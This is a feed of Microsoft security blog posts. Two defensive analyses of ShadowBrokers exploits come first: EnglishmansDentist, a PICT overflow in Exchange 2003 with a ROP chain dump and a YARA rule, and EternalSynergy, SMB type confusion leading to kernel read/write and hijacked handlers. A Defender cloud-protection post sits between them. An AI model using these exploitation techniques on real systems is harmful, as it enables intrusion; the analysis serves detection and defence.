Exchange Server 2007 product is not affected by this attack because the graphic rendering engine no longer uses OLECNV32.DLL library to render PICT images, even if the library may be present on disk (uncommon case with Windows Server 2003 + Exchange 2007). Newer versions of Exchange Server such as 2010 and 2013 are not impacted by this bug and so they won’t be considered.

Regarding the source code investigation, we tracked how the PICT vulnerable function was integrated and re-used in certain older versions of Office no longer in support. During this investigation, we were happy to see that while this bug was initially copied by developers into a graphic filter for Office, the same bug was later identified by Microsoft security reviews and fuzzing and it was internally fixed back in 2006 as part of the increased effort in finding vulnerability initiated by Microsoft during that time. This example represents a good story of bug collisions, where a weaponized exploit used silently by an attacker may be killed by internal pentesting and fuzzing efforts of the vendor.

It is probable that EnglishmansDentist was initially written before 2005 because the exploit seems to not work properly (ends with a crash) when tested against an Exchange Server 2003 SP2 and it has only 32-bit operating system targets, probably because 64-bit architecture was not popular enough a decade ago.

Exploit requirements and delivery mechanism

EnglishmansDentist requires the attacker to have at least one valid mail account on the target Exchange 2003 mail server (username and password). In fact, the exploit will run first a series of validation and checks to make sure that the valid account can login and check mails successfully. The exploit requires also a secondary email account (spoofed or real) used as source which will send the malformed PICT attachment to the valid account.

After the delivery of the malicious PICT attachment to the target mail server, the tool will login with the valid account credentials and force Exchange Server to parse and render the malicious attachment using one of the many protocols available (OWA, IMAP, POP3). Because the rendering code is executed on the

server-side, successful exploitation will result in execution of arbitrary code in the context of an Exchange Server process running with SYSTEM privileges.

After exploitation, EnglishmansDentist remains in listening mode waiting for the shellcode to connect back. When this happens, the tool instructs the Exchange server to delete the malicious email which delivered the exploit, removing forensic evidences of the attack.

The vulnerability: CVE-2017-8487

In order to understand the vulnerability, readers must be familiar with PICT graphic specifications and with the opcodes defined by this file format. Some references to parse this old file format are still available online here, here and here. Another good reference with details of the internal PICT opcode parsing code is also available here.

When testing the exploit against Exchange Server 2003 SP2, we observed the following crash in our test environment; we included in this blog only information and modules relevant for the analysis of this vulnerability, marking in red attacker’s controlled frames and in yellow interesting function names

Application exception occurred:
App: C:\Program Files\Exchsrvr\bin\store.exe (pid=2288)
When: 4/15/2017 @ 00:27:11.078
Exception number: c0000005 (access violation)

*----> System Information <----*
Computer Name: XXX
User Name: SYSTEM
Terminal Session Id: 0
Number of Processors: 1
Processor Type: x86 Family 6 Model 62 Stepping 4
Windows Version: 5.2
Current Build: 3790
Service Pack: 2

*----> Module List <----*
0000000000400000 - 000000000091c000: C:\Program Files\Exchsrvr\bin\store.exe
[...]
000000006d580000 - 000000006d628000: C:\WINDOWS\system32\dbghelp.dll
0000000071db0000 - 0000000071dbc000: C:\WINDOWS\system32\OLECNV32.DLL

eax=4a85c948 ebx=00094850 ecx=00000000 edx=00000020 esi=000949c0 edi=4a85ca0c
eip=6d8b1cfd esp=4a85c738 ebp=4a85ca50 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202
6d8b1cfd ?? ???

-> ROP gadget targeting DBGHELP.DLL + 0x00081cfd

0:057> kp
# ChildEBP RetAddr
WARNING: Frame IP not in any known module. Following frames may be wrong.
00 4a85c734 77c0f329 0x6d8b1cfd
01 4a85ca50 77c0f282 gdi32!iAnsiCallback+0x9d
02 4a85ca84 77c0f480 gdi32!EnumFontsInternalW+0x111
03 4a85cab4 77c265dc gdi32!EnumFontsInternalA+0x68
04 4a85cad4 71db2a0b gdi32!EnumFontsA+0x1a
05 4a85caf8 71db31c7 olecnv32!EnumFontFunc+0x3d1
06 4a85cb08 71db38d9 olecnv32!GdiOpenMetafile+0x335
07 4a85cb14 71db6290 olecnv32!GdiTextOut+0x22
08 4a85cc98 71db71c4 olecnv32!QDCopyBytes+0xd40
09 4a85ccb0 71db1375 olecnv32!QDConvertPicture+0xb4
0a 4a85ccc0 77760418 olecnv32!QD2GDI+0x3d
0b 4a85cd28 776fd79a ole32!QD2GDI+0xac
0c 4a85cd58 776cccf3 ole32!UtGetHMFFromMFStm+0x71
0d 4a85cd80 776ccb21 ole32!CMfObject::Load+0x4d
0e 4a85cdb4 776cc96a ole32!CCacheNode::Load+0xc5
0f 4a85ce60 007628f9 ole32!COleCache::Load+0x1b2
10 4a85ce80 00762e9b store!IMAGESTM::HrGetViewObject+0x87
11 4a85ce8c 0076304a store!IMAGESTM::HrAttachToImage+0x16
12 4a85ce98 0076320c store!IMAGESTM::HrEnsureImage+0x10
13 4a85cea8 6225dce2 store!IMAGESTM::Stat+0xf
14 4a85ced4 62258840 exmime!CStreamLockBytes::Stat+0x4a
15 4a85d0ac 6225d911 exmime!CBodyStream::HrInitialize+0x107
16 4a85d0f0 6225e4ca exmime!CMessageBody::GetDataHere+0xd4
[...]
 

As immediately visible from this callstack trace, the vulnerability exists inside the routine QD2GDI() exported by OLECNV32.DLL. This function is responsible for converting and rendering QuickDraw images and it’s used by Exchange Server 2003 “store.exe” process. The routine is called when an attachment for example is automatically parsed through OWA while reading new incoming emails; the attack surface of this parser is reachable through OLE32.

The internal code of QD2GDI() has a memory corruption bug while parsing a LongComment record, normally identified by opcode 0xA1. An attacker can exploit this bug by creating a malformed PICT file with a LongComment record containing a PP_FONTNAME sub-record with a fontName string greater than 32 bytes which triggers a memory corruption with an out-of-bound overwrite of a fixed size variable.

A malformed PICT image produced by EnglishmansDentist will have a similar layout as follow.

The image will always start with two hardcoded headers. One is used to integrate the PICT image into the TNEF OLE container (mail attachment format used by Exchange), and the second one represents a proper PICT header. The two static headers are immediately followed by a dummy tag TxFont record and by the vulnerable LongComment record which will trigger the memory corruption overwrite.

The preparation of the malicious PICT file is done programmatically in EnglishmansDentist in two routines at offset 0x404621 and 0x404650. It’s done by assembling the static headers followed by multiple PICT records, including the malformed 0xA1 opcode and other records used to deliver a ROP chain and the encrypted shellcode payload.

The decoding of the header and the records performed by QD2GDI() will immediately hit the malformed 0xA1 opcode and trigger the vulnerability.

//inner parsing done by OLECNV32!QD2GDI()
private void TranslateOpcode( opcodeEntry far * currOpcodeLPtr )
{
    Word  function = currOpcodeLPtr->function;   
    /* perform appropriate action based on function code */
    switch (function)                                                                                                     
        {
            [...]
            case LongComment:         // opcode 0xA1       
            {   
                [...]           
                /* determine what should be done with the comment */       
                switch (comment)          
                {  
                    [...]               
                    case picAppComment:         //comment 0064              
                    { 
                        [...]                  
                        
                        /* determine what to do with the function specified */
                        switch (realFunc)                
                        {                   
                            case PP_FONTNAME:             //function 0011                  
                            {                      
                                Byte     fontFamily;                      
                                Byte     charSet;                      
                                Byte     fontName[32];     //fixed-szie string buffer (32 bytes)                        
                                
                                /* font name from GDI2QD - read the LOGFONT info */                      
                                GetByte( &fontFamily );                      
                                GetByte( &charSet );  
                                
                                //”fontName” parameter is attacker’s controlled (malformed size) 
                                //GetString()does not validate max size (32) and will blindly use it to copy 
                                //resulting in an out-of-bound overwrite                       
                                
                                GetString( fontName );                           
                                
                                length = 0;                        
                                
                                // call Gdi module to override font selection                     
                                GdiFontName( fontFamily, charSet, fontName );

As mentioned earlier, this bug was found internally by Microsoft when this code was ported and integrated in some older versions of Office. Therefore the function GetString() was modified many years ago to require the caller to pass the length of the buffer and enforce checks to avoid overwriting data out-of-bound, neutralizing this vulnerability in every possible place. 

Exploitation: easy job without mitigations

Unfortunately, it’s trivial to exploit a good out-of-bound overwrite bug inside an environment like Windows Server 2003 which lacks fundamental mitigations like ASLR and CFG. On Windows Server 2003, DEP is easily bypassed by the attacker because of lack of ASLR. Without the randomization of ASLR in memory, the attacker can use a pre-calculated ROP chain to call VirtualAlloc and next transfer the shellcode into the newly allocated executable buffer to run without problems.

The exploit first triggers the memory corruption vulnerability using a malformed 0xA1 record and it uses the out-of-bound overwrite to corrupt internal OLECNV32 structures hosting other objects. Specifically, the exploit targets a font entry in the global fontTable[] array which later is copied to gdiEnv structure and can be used to overwrite a function pointer and take control of execution.

The following memory dump captured during exploitation shows an example of the fontTable[] array where some entries were corrupted by the memory overwrite caused by the vulnerable GetString() function. It is possible to spot in the fontTable[] the malformed data coming from the PICT file and the offset used as initial ROP gadget (0x6D8B1CFD) marked in red.

After the corruption of fontTable[], the exploit leverages parsing of other PICT opcodes to trigger further interactions with the recently malformed font entry. This will lead OLECNV32 to do one more string copy operation to copy the malformed font into OLECNV32!gdiEnv data structure as shown in the following code snippet (fontTable[newFont] was malformed and is now controlled by the attacker controlled).

   if (GdiAttribHasChanged( GdiTxFont ))
    {       
        Integer  newFont;         
        
        /* call the routine to find a matching GDI font face name */       
        newFont = FindGdiFont();         
        
        /* fill in information from the font lookup table */       
        gdiEnv.newLogFont.lfPitchAndFamily = fontTable[newFont].family | (Byte)DEFAULT_PITCH;         
        
        /* copy the correct font character set */       
        gdiEnv.newLogFont.lfCharSet = fontTable[newFont].charset; 
        
        /* copy over the new font face name */       
        lstrcpy( gdiEnv.newLogFont.lfFaceName, fontTable[newFont].gdiName );   
        
    [...] 

This final string copy operation will result in overwriting a function pointer that can be leveraged by the attacker as callback to take control later when the EnumFonts function is called to enumerate fonts.

0:000> dt olecnv32!gdiEnv     
    +0x000 metafile         : 0xffffffff`b8662029 Void    
    +0x004 newLogBrush      : tagLOGBRUSH    
    +0x010 newLogFont       : tagLOGFONTA    
    +0x04c newLogPen        : tagLOGPEN    
    +0x05c clipRect         : tagRECT    
    +0x06c drawingEnabled   : 0n1    
    +0x070 sameObject       : 0n0    
    +0x074 useGdiFont       : 0n0    
    +0x078 hatchIndex       : 0n-1    
    +0x07c lastPattern      : [8]  ""    
    +0x084 lastPatType      : 0n0    
    +0x088 lastFgColor      : 0    
    +0x08c lastBkColor      : 0    
    +0x090 infoContext      : 0x00000000`7c0133d1 HDC__    
    +0x094 fontFunction     : 0x00000000`71db263a     <---overwritten with 0x6D8B1CFD    
    +0x098 state            : [24]  "" 

Exploitation: ROP chains for English, German, Korean and Chinese OS

The exploit uses ROP gadgets built on top of DBGHELP.DLL library, which is normally loaded into the memory space of Exchange Server store.exe process. It is possible that the first version of the exploit was instead developed using OLECNV32.DLL gadgets. Even with the lack of ASLR randomization, obtaining reliable and universal exploitation of this vulnerability is not immediate, because DBGHELP.DLL is a language-dependent library (multiple versions exist for different OS languages). This introduces certain variance across different versions of Windows Server 2003. 

The attacker solved this problem by pre-calculating the correct offsets for each OS version they were interested in targeting. In fact, the configuration XML file included in EnglishmansDentist contains ROP gadgets developed for Windows Server 2003 in English but also for German, Korean, Simplified Chinese, and Traditional Chinese, disclosing all the potential targeted platforms of attacker’s interest.

The decoding of the ROP gadgets configured in EnglishmansDentist will map to these code blocks of DBGHELP.DLL module.

The first gadget executed by the function pointer overwrite (0x6d8b1cfd) will do some stack alignment and re-balancing EBP (add 0x1A0) and then transfer control to the full ROP chain using a combination of LEAVE/RET instructions. The full ROP chain (as seen in memory) is shown below with the equivalent gadgets on the right. It’s a short ROP chain which allocates executable memory to bypass DEP (0x8888 bytes) and copies into this region additional shellcode (egghunter) which is responsible for running the final backdoor payload with SYSTEM privilege (as granted by the Exchange Server process under attack). 

0:057> r 
eax=4a85c948 ebx=00094850 ecx=00000000 edx=00000020 esi=000949c0 edi=4a85ca0c 
eip=6d8b1cfd esp=4a85c738 ebp=4a85ca50 iopl=0         nv up ei pl nz na po nc 
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202 
6d8b1cfd ??              ???  

0:057> dps ebp+1a0+4
4a85cbf4  6d849568 ;pop ecx/retn 
4a85cbf8  6d831104  ;ptr kernel32!VirtualAlloc 
4a85cbfc  6d88c464  ;mov eax,dword[ecx]/retn 
4a85cc00  6d85f71d  ;jmp eax 
4a85cc04  6d849568  ;pop ecx/retn 
4a85cc08  00000000  ;VirtuaAlloc_arg1(lpAddress) 
4a85cc0c  00008888  ;VirtuaAlloc_arg2(dwSize) 
4a85cc10  00001000  ;VirtuaAlloc_arg3(MEM_COMMIT) 
4a85cc14  00000040  ;VirtuaAlloc_arg4(PAGE_RWX) 
4a85cc18  a4f3f88b  ;code "mov edi,eax/rep movs byte [edi],[esi]" 
4a85cc1c  6d893f8b  ;mov dword ptr [eax],ecx/ret8 
4a85cc20  6d849568  ;pop ecx/retn 
4a85cc24  72b8130f   
4a85cc28  534c1b8a 
4a85cc2c  00000031  ;size of movs byte (egghunter) 
4a85cc30  6d843b71  ;pop esi/retn 
4a85cc34  71d096fc 
4a85cc38  6d85f71d  ;jmp eax 

Detection and Mitigations

As we mentioned earlier, Windows Server 2003 lacks fundamental mitigations developed in the last decade of security enhancements of Microsoft products. Because of ASLR, CFG and other mitigations, a similar bug in a modern operating system like Windows 10 Creators Update or Windows Server 2016 will be much more difficult to remotely exploit. Also, the introduction of integrity levels and containers (sandbox), allowed Microsoft to constrain certain graphic rendering components to minimize the damage in case of a parsing vulnerability like the one discussed today (e.g. Office Protected View, AppContainer for browsers, Font sandbox for fonts rendering).

Finally, these days the evolution of security checks in Microsoft compilers and the extensive use of fuzzing can find and eliminate similar bugs in the source code before they ship in the products, reducing the entire class of bugs at the source.

We are providing a YARA signature which can be used to detect the PICT images delivered in emails by EnglishmansDentist for customers still running Windows Server 2003. 

rule PICT_ENGLISHMANEDENTIST 
{    
    strings:     
        $hdr  = {0B B0 00 00 00 00 00 64 00 64 11 01}    
        $tag  = {03 15 00 A1 00 64 01 00 50 50 4E 54 00 11 00 4D}     
        $rop1 = {FF FF 01 01 FD 1C}     
        $rop2 = {68 95 ?? ?? 04 11 ?? ?? 64 C4 ?? ?? 1D F7 ?? ?? 68 95}     
        
        condition:  
            $hdr and #tag>5 and $rop1 and $rop2 and filesize<100KB 
}

As always, we recommend that customers use the latest and newest OS and Microsoft products, so as to benefit from the security enhancements and mitigations against exploits added at each iteration.

Final Words

I’d like to extend a thank you to Matt Miller (MSRC), Ben Faull (Office Security) and Brent Alinger (Office 365) for their notes and help provided in analyzing this exploit.

Elia Florio,
Windows Defender ATP Research Team

]]>
https://blogs.technet.microsoft.com/srd/2017/07/20/englishmansdentist-exploit-analysis/feed/0
Windows Defender Antivirus cloud protection service: Advanced real-time defense against never-before-seen malwarehttps://blogs.technet.microsoft.com/mmpc/2017/07/18/windows-defender-antivirus-cloud-protection-service-advanced-real-time-defense-against-never-before-seen-malware/https://blogs.technet.microsoft.com/mmpc/2017/07/18/windows-defender-antivirus-cloud-protection-service-advanced-real-time-defense-against-never-before-seen-malware/#commentsTue, 18 Jul 2017 13:00:12 +0000https://blogs.technet.microsoft.com/mmpc/?p=13965For cybercriminals, speed is the name of the game. It takes newly released malware an average of just four hours to achieve its goal—steal financial information, extort money, or cause widespread damage. In a recent report, the Federal Trade Commission (FTC) said that cybercriminals will use hacked or stolen information within nine minutes of posting in underground forums. Stopping new malware in real-time is more critical than ever.

Approximately 96% of all malware files detected and blocked by Windows Defender Antivirus (Windows Defender AV) are observed only once on a single computer, demonstrating the polymorphic and targeted nature of modern attacks, and the fragmented state of the threat landscape. Hence, blocking malware at first sight is a critical protection capability.

To fight the speed, scale, and complexity of threats, we work to continually enhance Windows Defender AV and other security features built into Windows 10. In our white paper "The evolution of malware prevention" we discussed our advanced, predictive approach to protecting customers from threats that they face today, as well as those that will emerge in the future.

This blog continues that discussion and provides the first detailed account of one way we improve our capability to stop never-before-seen malware with new enhancements to the Windows Defender Antivirus cloud protection service.

In Windows 10 Creators Update, the Windows Defender AV client uploads suspicious files to the cloud protection service for rapid analysis. Our ability to make a swift assessment of new and unknown files allows us to protect customers from malware the first time we see it.

We have built these enhancements on the next-gen security technologies enabling Windows Defender AV to automatically block most new, never-before-seen threats at first sight using the following methods:

  • Lightweight client-based machine learning models, blocking new and unknown malware
  • Local behavioral analysis, stopping file-based and file-less attacks
  • High-precision antivirus, detecting common malware through generic and heuristic techniques

In relatively rare cases, when Windows Defender AV needs additional intelligence to verify the intent of a suspicious file, it sends metadata to the cloud protection service, which can determine whether the file is safe or malicious within milliseconds using the following techniques:

  • Precise cloud-based machine learning models that can make an accurate assessment based on signals from the client
  • Microsoft Intelligent Security Graph that monitors threat data from a vast network of sensors

In rarer cases still, when Windows Defender AV cloud protection service is unable to reach a conclusive verdict based on metadata, it can request the potential malware sample for further inspection.

In Windows 10 Creators Update, the Windows Defender AV client uploads suspicious files to the cloud protection service for rapid analysis. While waiting for a verdict, the Windows Defender AV client maintains a lock on the dubious files, preventing possible malicious behavior. The Windows Defender AV client then takes action based on the verdict. For example, if the cloud protection service determines the file as malicious, it blocks the file from running, providing instant protection.

Windows Defender Antivirus instant protection from the cloud

Instant protection at work: A few seconds can make a lot of difference in protection

In a recent real-life example, a Windows 10 Home customer was tricked into downloading a new variant of the Ransom:Win32/Spora family of ransomware.

The malware was disguised as a font file with the name "Chrome font.exe". It was hosted on an online learning website that had been compromised by an attacker, who attempted to trick people into downloading the malware using a social engineering tactic described by Proofpoint in this blog. In this scheme targeting Chrome users, legitimate websites were compromised to open a pop-up window indicating "The ‘HoeflerText’ font wasn’t found", requiring a supposed update to fix. The customer clicked the "Update" button in the pop-up window, which downloaded the Spora ransomware variant.

The customer’s Windows Defender AV client routinely scanned the file using on-box rules and definitions. Since it had not encountered the file before, Windows Defender AV did not detect it as malicious; however, it recognized the file’s suspicious characteristics, so it temporarily prevented the file from running. The client sent a query to the Windows Defender AV cloud protection service, which used machine-learning-powered cloud rules to confirm that the file was likely malware needing further investigation.

Within 312 milliseconds, the cloud protection service returned an initial assessment. It then instructed the client to send a sample and to continue locking the file until a more definite verdict was given.

In about two seconds, the client finished uploading the sample. By default, it’s set to wait for up to 10 seconds to hear back from the cloud protection service before letting such suspicious files run.

As soon as the sample was uploaded, a backend file-processing system analyzed the sample. A multi-class machine learning classifier determined there was more than a 95% chance that the file was malicious. The cloud protection service created a signature, which it sent back to client. All of this happened in just five seconds.

One second later, the Windows Defender AV client applied the cloud signature and quarantined the malware. It reported the results back to the cloud service; from that point on, this file was automatically blocked, protecting all Windows Defender AV customers.

From the time Windows Defender AV uploaded the sample, the cloud protection service returned the malware signature in just five seconds, as shown by these actual timestamps:

2017-04-20 03:53:21 – Cloud protection service received query from Windows Defender AV client

2017-04-20 03:53:21 – Cloud protection service assessed it hadn’t seen the file and that is was suspicious, so it requested a sample and to keep locking the file

2017-04-20 03:53:23 – Sample finished uploading

2017-04-20 03:53:28 – Cloud protection service determined file as malware, generated signature, and sent that back to client

2017-04-20 03:53:29 – Windows Defender AV client notified that it successfully detected and removed the malware

Stay protected with Windows 10 Creators Update

Our many years of in-depth research into malware, cyberattacks, and cybercriminal operations give us insight into how threats continue to evolve and attempt to slip past security solutions. Guided by expert threat researchers, we use data science, machine learning, automation, and behavioral analysis to improve our detection solutions continuously.

In Windows 10 Creators Update, we rolled out important updates to Windows Defender Antivirus, which uses cloud protection service that delivers real-time protection against threats. With these enhancements, we show our commitment to providing unparalleled real-time defense against modern attacks.

Our ability to make a swift assessment of new and unknown files allows us to protect even would-be patient zero against attacks. More importantly, we use this intelligence to protect the rest of our customers, who may encounter these malware in subsequent attacks or similar threats in other cybercriminal campaigns.

Cloud-based protection is enabled in Windows Defender AV by default. To check that it’s running, launch the Windows Defender Security Center. Go to Settings > Virus & threat protection settings, and make sure that Cloud-based protection and Automatic sample submission are both turned On.

In enterprise environments, cloud protection service can be managed using Group Policy or via the Windows Defender Security Center app.

When enabled, Windows Defender AV locks a suspicious file for 10 seconds by default, while it queries the Windows Defender AV cloud protection service. Administrators can configure Windows Defender AV to extend the timeout period up to one minute to give the cloud service time to perform even more analysis and apply additional techniques to detect new malware.

As the threat landscape continues to move towards more sophisticated attacks and malware campaigns that can achieve their goals in hours instead of days, it is critical to be able to respond to new attacks in real-time. With Windows 10 Creators Update and the investments we’ve made in cloud protection service, we’re able to detect brand new threat families within seconds, protect “patient zero”, and disrupt new malware campaigns before they start.

 

Randy Treit

Senior Program Manager, Windows Defender Engineering

 

 

]]>
https://blogs.technet.microsoft.com/mmpc/2017/07/18/windows-defender-antivirus-cloud-protection-service-advanced-real-time-defense-against-never-before-seen-malware/feed/19
Eternal Synergy Exploit Analysishttps://blogs.technet.microsoft.com/srd/2017/07/13/eternal-synergy-exploit-analysis/https://blogs.technet.microsoft.com/srd/2017/07/13/eternal-synergy-exploit-analysis/#respondThu, 13 Jul 2017 11:15:16 +0000https://blogs.technet.microsoft.com/srd/?p=4146Introduction

Recently we announced a series of blog posts dissecting the exploits released by the ShadowBrokers in April 2017; specifically some of the less explored exploits. This week we are going to take a look at Eternal Synergy, an SMBv1 authenticated exploit. This one is particularly interesting because many of the exploitation steps are purely packet-based, as opposed to local shellcode execution. Like the other SMB vulnerabilities, this one was also addressed in MS17-010 as CVE-2017-0143. The exploit works up to Windows 8, but does not work as written against any newer platforms.

This post has four main parts. We will deep-dive into the vulnerability, followed by a discussion of how the vulnerability was weaponized to create Read/Write/eXecute primitives that are used as building blocks throughout the exploit. We will then next walk through the execution of EternalSynergy and see how these primitives were used to deliver a full exploit. Finally, we will briefly discuss the effect of recent mitigations on the presented exploit techniques.

The Vulnerability: CVE-2017-0143

The root cause of this vulnerability stems from not taking the command type of an SMB message into account when determining if the message is part of a transaction. In other words, as long as the SMB header UID, PID, TID and OtherInfo fields match the corresponding transaction fields, the message would be considered to be part of that transaction.

Usually, the OtherInfo field stores a MID. In the case of SMB_COM_WRITE_ANDX messages, however, it stores a FID instead. This creates a potential message type confusion: Given an existing SMB_COM_WRITE_ANDX transaction, an incoming SMB message with MID equal to the transaction FID would be included in the transaction.

PTRANSACTION
SrvFindTransaction (
    IN PCONNECTION Connection,
    IN PSMB_HEADER Header,
    IN USHORT Fid OPTIONAL
    )
{
    ...

    //
    // If this is a multipiece transaction SMB, the MIDs of all the pieces
    // must match.  If it is a multipiece WriteAndX protocol the pieces
    // using the FID.
    //
 
    if (Header->Command == SMB_COM_WRITE_ANDX) {
        targetOtherInfo = Fid;
    } else {
        targetOtherInfo = SmbGetAlignedUshort( &Header->Mid );
    }

    ...

    //
    // Walk the transaction list, looking for one with the same
    // identity as the new transaction.
    //
 
    for ( listEntry = Connection->PagedConnection->TransactionList.Flink;
          listEntry != &Connection->PagedConnection->TransactionList;
          listEntry = listEntry->Flink ) {
 
        thisTransaction = CONTAINING_RECORD(
                            listEntry,
                            TRANSACTION,
                            ConnectionListEntry
                            );
 
        if ( ( thisTransaction->Tid == SmbGetAlignedUshort( &Header->Tid ) ) &&
             ( thisTransaction->Pid == SmbGetAlignedUshort( &Header->Pid ) ) &&
             ( thisTransaction->Uid == SmbGetAlignedUshort( &Header->Uid ) ) &&
             ( thisTransaction->OtherInfo == targetOtherInfo ) ) {
 
            ...
 
            // A transaction with the same identity has been found
 
            ...
        }
...
}

Exploitation

When a SMB message arrives, the appropriate handler will copy its contents into the corresponding transaction buffer, namely InData. The SMB_COM_TRANSACTION_SECONDARY handler assumes that the InData address points to the start of the buffer.

if ( dataCount != 0 ) {
    RtlMoveMemory(
        transaction->InData + dataDisplacement,
        (PCHAR)header + dataOffset,
        dataCount
        );	
}

However, in the case of a SMB_COM_WRITE_ANDX transaction, each time a SMB is received for that transaction, the InData address is updated to point to the end of the existing data.

 RtlCopyMemory(transaction->InData, writeAddress, writeLength );
 
//
// Update the transaction data pointer to where the next
// WriteAndX data buffer will go.
//
 
transaction->InData += writeLength;

Leveraging the packet confusion, an attacker can insert a SMB_COM_TRANSACTION_SECONDARY message into a SMB_COM_WRITE_ANDX transaction. In that case, the InData will point past the start of the buffer, and so the SMB_COM_TRANSACTION_SECONDARY handler can overflow the buffer during copying the incoming message data.

Taking Over a Transaction

The building block for the RWX primitives used in the exploit takes over a transaction structure by exploiting the message confusion described in the previous section. First, a 'control' transaction is allocated via a SMB_COM_TRANSACTION client message.

Figure 1 - Memory layout before packet type confusion is triggered. Stripes represent attacker-controlled input.

 

kd> dt srv!TRANSACTION 0xfffff8a00167f010
   ...
   +0x080 InData           : 0xfffff8a0`0167f110
   +0x088 OutData          : (null)
   ...
   +0x0a4 DataCount        : 0x0
   +0x0a8 TotalDataCount   : 0x5100
   ...
   +0x0ba Tid              : 0x800
   +0x0bc Pid              : 0xab9e
   +0x0be Uid              : 0x800
   +0x0c0 OtherInfo        : 0x4000  

Then, an SMB_COM_WRITE_ANDX message is sent, crafted to exploit the packet confusion. As a result, the InData pointer of the control transaction is corrupted to point past the start of the buffer. In this case it is off by 0x200. bytes.

kd> dt srv!TRANSACTION 0xfffff8a00167f010
   ...
   +0x080 InData           : 0xfffff8a0`0167f310
   +0x088 OutData          : (null)
   ...
   +0x0a4 DataCount        : 0x200
   +0x0a8 TotalDataCount   : 0x5100
   ...
   +0x0ba Tid              : 0x800
   +0x0bc Pid              : 0xab9e
   +0x0be Uid              : 0x800
   +0x0c0 OtherInfo        : 0x4000 

Next, an SMB_COM_TRANSACTION_SECONDARY message is sent to the same transaction, and by leveraging the corrupted InData pointer it modifies a neighboring, 'victim' transaction. We revisit below how the target write address is computed.

if ( dataCount != 0 ) {
    RtlMoveMemory(
        transaction->InData + dataDisplacement,
        (PCHAR)header + dataOffset,
        dataCount
        );
}

The incoming message dataDisplacement is large enough to reach the neighboring transaction.

kd> dv dataDisplacement
dataDisplacement = 0x5020

 

Figure 2 - Memory layout after packet type confusion results in overwriting victim transaction. Stripes represent attacker-controlled input.

 

Specifically, it will overwrite a transaction's OtherInfo field with an attacker-controlled value (in this case 0), so that all future messages sent using MID=0 will be directed to the victim transaction. Below we see the victim transaction just before the overwrite happens.

 kd> dt srv!TRANSACTION 0xfffff8a00167f310+0x5020-0xc0
   ...
   +0x080 InData           : 0xfffff8a0`0168436c
   +0x088 OutData          : 0xfffff8a0`01684ffc
   ...
   +0x0ba Tid              : 0x800
   +0x0bc Pid              : 0xab9f
   +0x0be Uid              : 0x800
   +0x0c0 OtherInfo        : 0x8ccb

After taking over a victim transaction, the exploit can predictably continue corrupting fields within the same or other transactions, and reliably trigger them by sending a message to the transaction. Note that for this technique to work, the attacker must be able to predictably allocate a pair of neighboring transactions.

Remote Arbitrary Write Primitive

The Arbitrary Write Primitive allows the attacker to modify memory contents on the victim system, and serves as the foundation for the rest of the techniques used in this exploit. To corrupt memory, it leverages the technique described in the previous section. Specifically, the Write Primitive is constructed in two steps:

 

Figure 3 - The exploit constructs an Arbitrary Write primitive by corrupting the victim transaction. Stripes represent attacker-controlled input.

 

In Step #1, the victim transaction InData buffer address is overwritten such that it points to the target write address.

Figure 4 – Example SMB message used to perform Step #1 for target address 0xfffff802846f4000.

 

Next in Step #2, the attacker can overwrite arbitrary kernel memory by sending a to the victim transaction. Upon receiving the message, its contents will be copied to the InData buffer; however, in our case the buffer address was corrupted and so the contents are copied to the attacker-controlled address. Below is an example packet, where the shellcode contained in the 'Extra byte parameters' will be copied over to the victim machine.

Figure 5 – Example SMB message used to copy payload to the victim machine,

Remote Arbitrary Read Primitive

The Arbitrary Read Primitive allows the attacker to remotely read the contents of any memory address from the target system. To use this primitive, the attacker must have successfully:

  • Taken over a connection, and established the write primitive, as explained above.
  • Leaked a valid TRANSACTION structure

As seen in Figure 6, we have a control transaction adjacent to a Victim#1 transaction for the write primitive and a Victim#2 transaction. Message#1 uses the write primitive to corrupt the Victim#1 InData buffer address so that it points to the Victim#2 base address. That means that any message directed to the Victim#1 transaction will result in corrupting the Victim#2 transaction at the offset specified by the message's ‘Data Displacement’ field. Victim#2 is the leaked TRANSACTION structure and its base address can be inferred by its contents.

Figure 6 - To construct the Arbitrary Read primitive the exploit overwrites the Victim#2 transaction OutData pointer. Stripes represent attacker-controlled input.

 

The rest of the messages contain the Transaction Secondary command (0x26), and use the same TID, PID and UID. Messages #2-5 target the Victim#1 transaction (MID=0) and perform overwriting of specific fields of the Victim#2 transaction. The table below summarizes the modifications made by each message:

Msg# Offset Transaction Field Overwrite Value
5 0x001 BlockHeader.State 0x2
3 0x054 Timeout 0x40000023
2 0x088 OutData Attacker-specified address (e.g. 0xfffff88004b78150)
2 0x090 SetupCount 0x4
2 0x094 MaxSetupCount 0x0
2 0x098 ParameterCount 0x0
2 0x09c TotalParameterCount 0x0
2 0x0a0 MaxParameterCount 0x10
2 0x0a4 DataCount 0x0
2 0x0a8 TotalDataCount 0x0
2 0x0ac MaxDataCount 0x20000
4 0x0e3 Executing 0x0

Figure 7 - List of the Victim#2 transaction fields that are corrupted during an Arbitrary Read operation

 

As an example, below is the message sent to execute a remote read operation. The payload is specified in the 'Extra byte parameters', the target address in the 'Data Displacement' and the size in the 'Data Count' field.

Figure 8 - Example SMB message that overwrites the Victim#2 transaction.

 

Message #5 is a dummy packet has a non-zero MID targeting the Victim#2 transaction, sent to trigger the server response. During that response message, contents of the memory address of the corrupted DataOut pointer are copied out and sent back to the SMB client. An example of this type of message is seen below:

Figure 9 - Example SMB message demonstrating the final step of triggering the Arbitrary Read operation.

Code Execution

The techniques discussed in the previous sections operate on memory; the exploit still needs a way to alter control flow and invoke execution in a repeatable way. The exploit achieves this by corrupting pointers to SMB message handlers.

First, it uses the write primitive to overwrite entry 0xe of the srv!SrvTransaction2DispatchTable, with the address of the execution target. This is a dispatch table that contains pointers to SMB message handlers. This particular entry, targeting the TRANS2_SESSION_SETUP subcommand handler, is convenient since it is not implemented, and thus, not expected to be used by "normal" SMB traffic. Details on how this global pointer is discovered and leaked back to the attacker are presented in the next section.

Next, a message of type SMB_COM_TRANSACTION2 and subcommand set to TRANS2_SESSION_SETUP is sent to the victim, triggering the execution of the corrupted function pointer. The target transaction of this message is not important. An example packet is seen below.

Figure 10 - Example SMB message sent to trigger payload execution on the victim machine.

Putting It All Together

In this section, we walk through the exploit and see how the above building blocks combine to achieve remote kernel code execution.

Figure 11 - EternalSynergy attempting to leak a TRANSACTION structure

 

Figure 12 - Network traffic during the TRANSACTION leak phase.

 

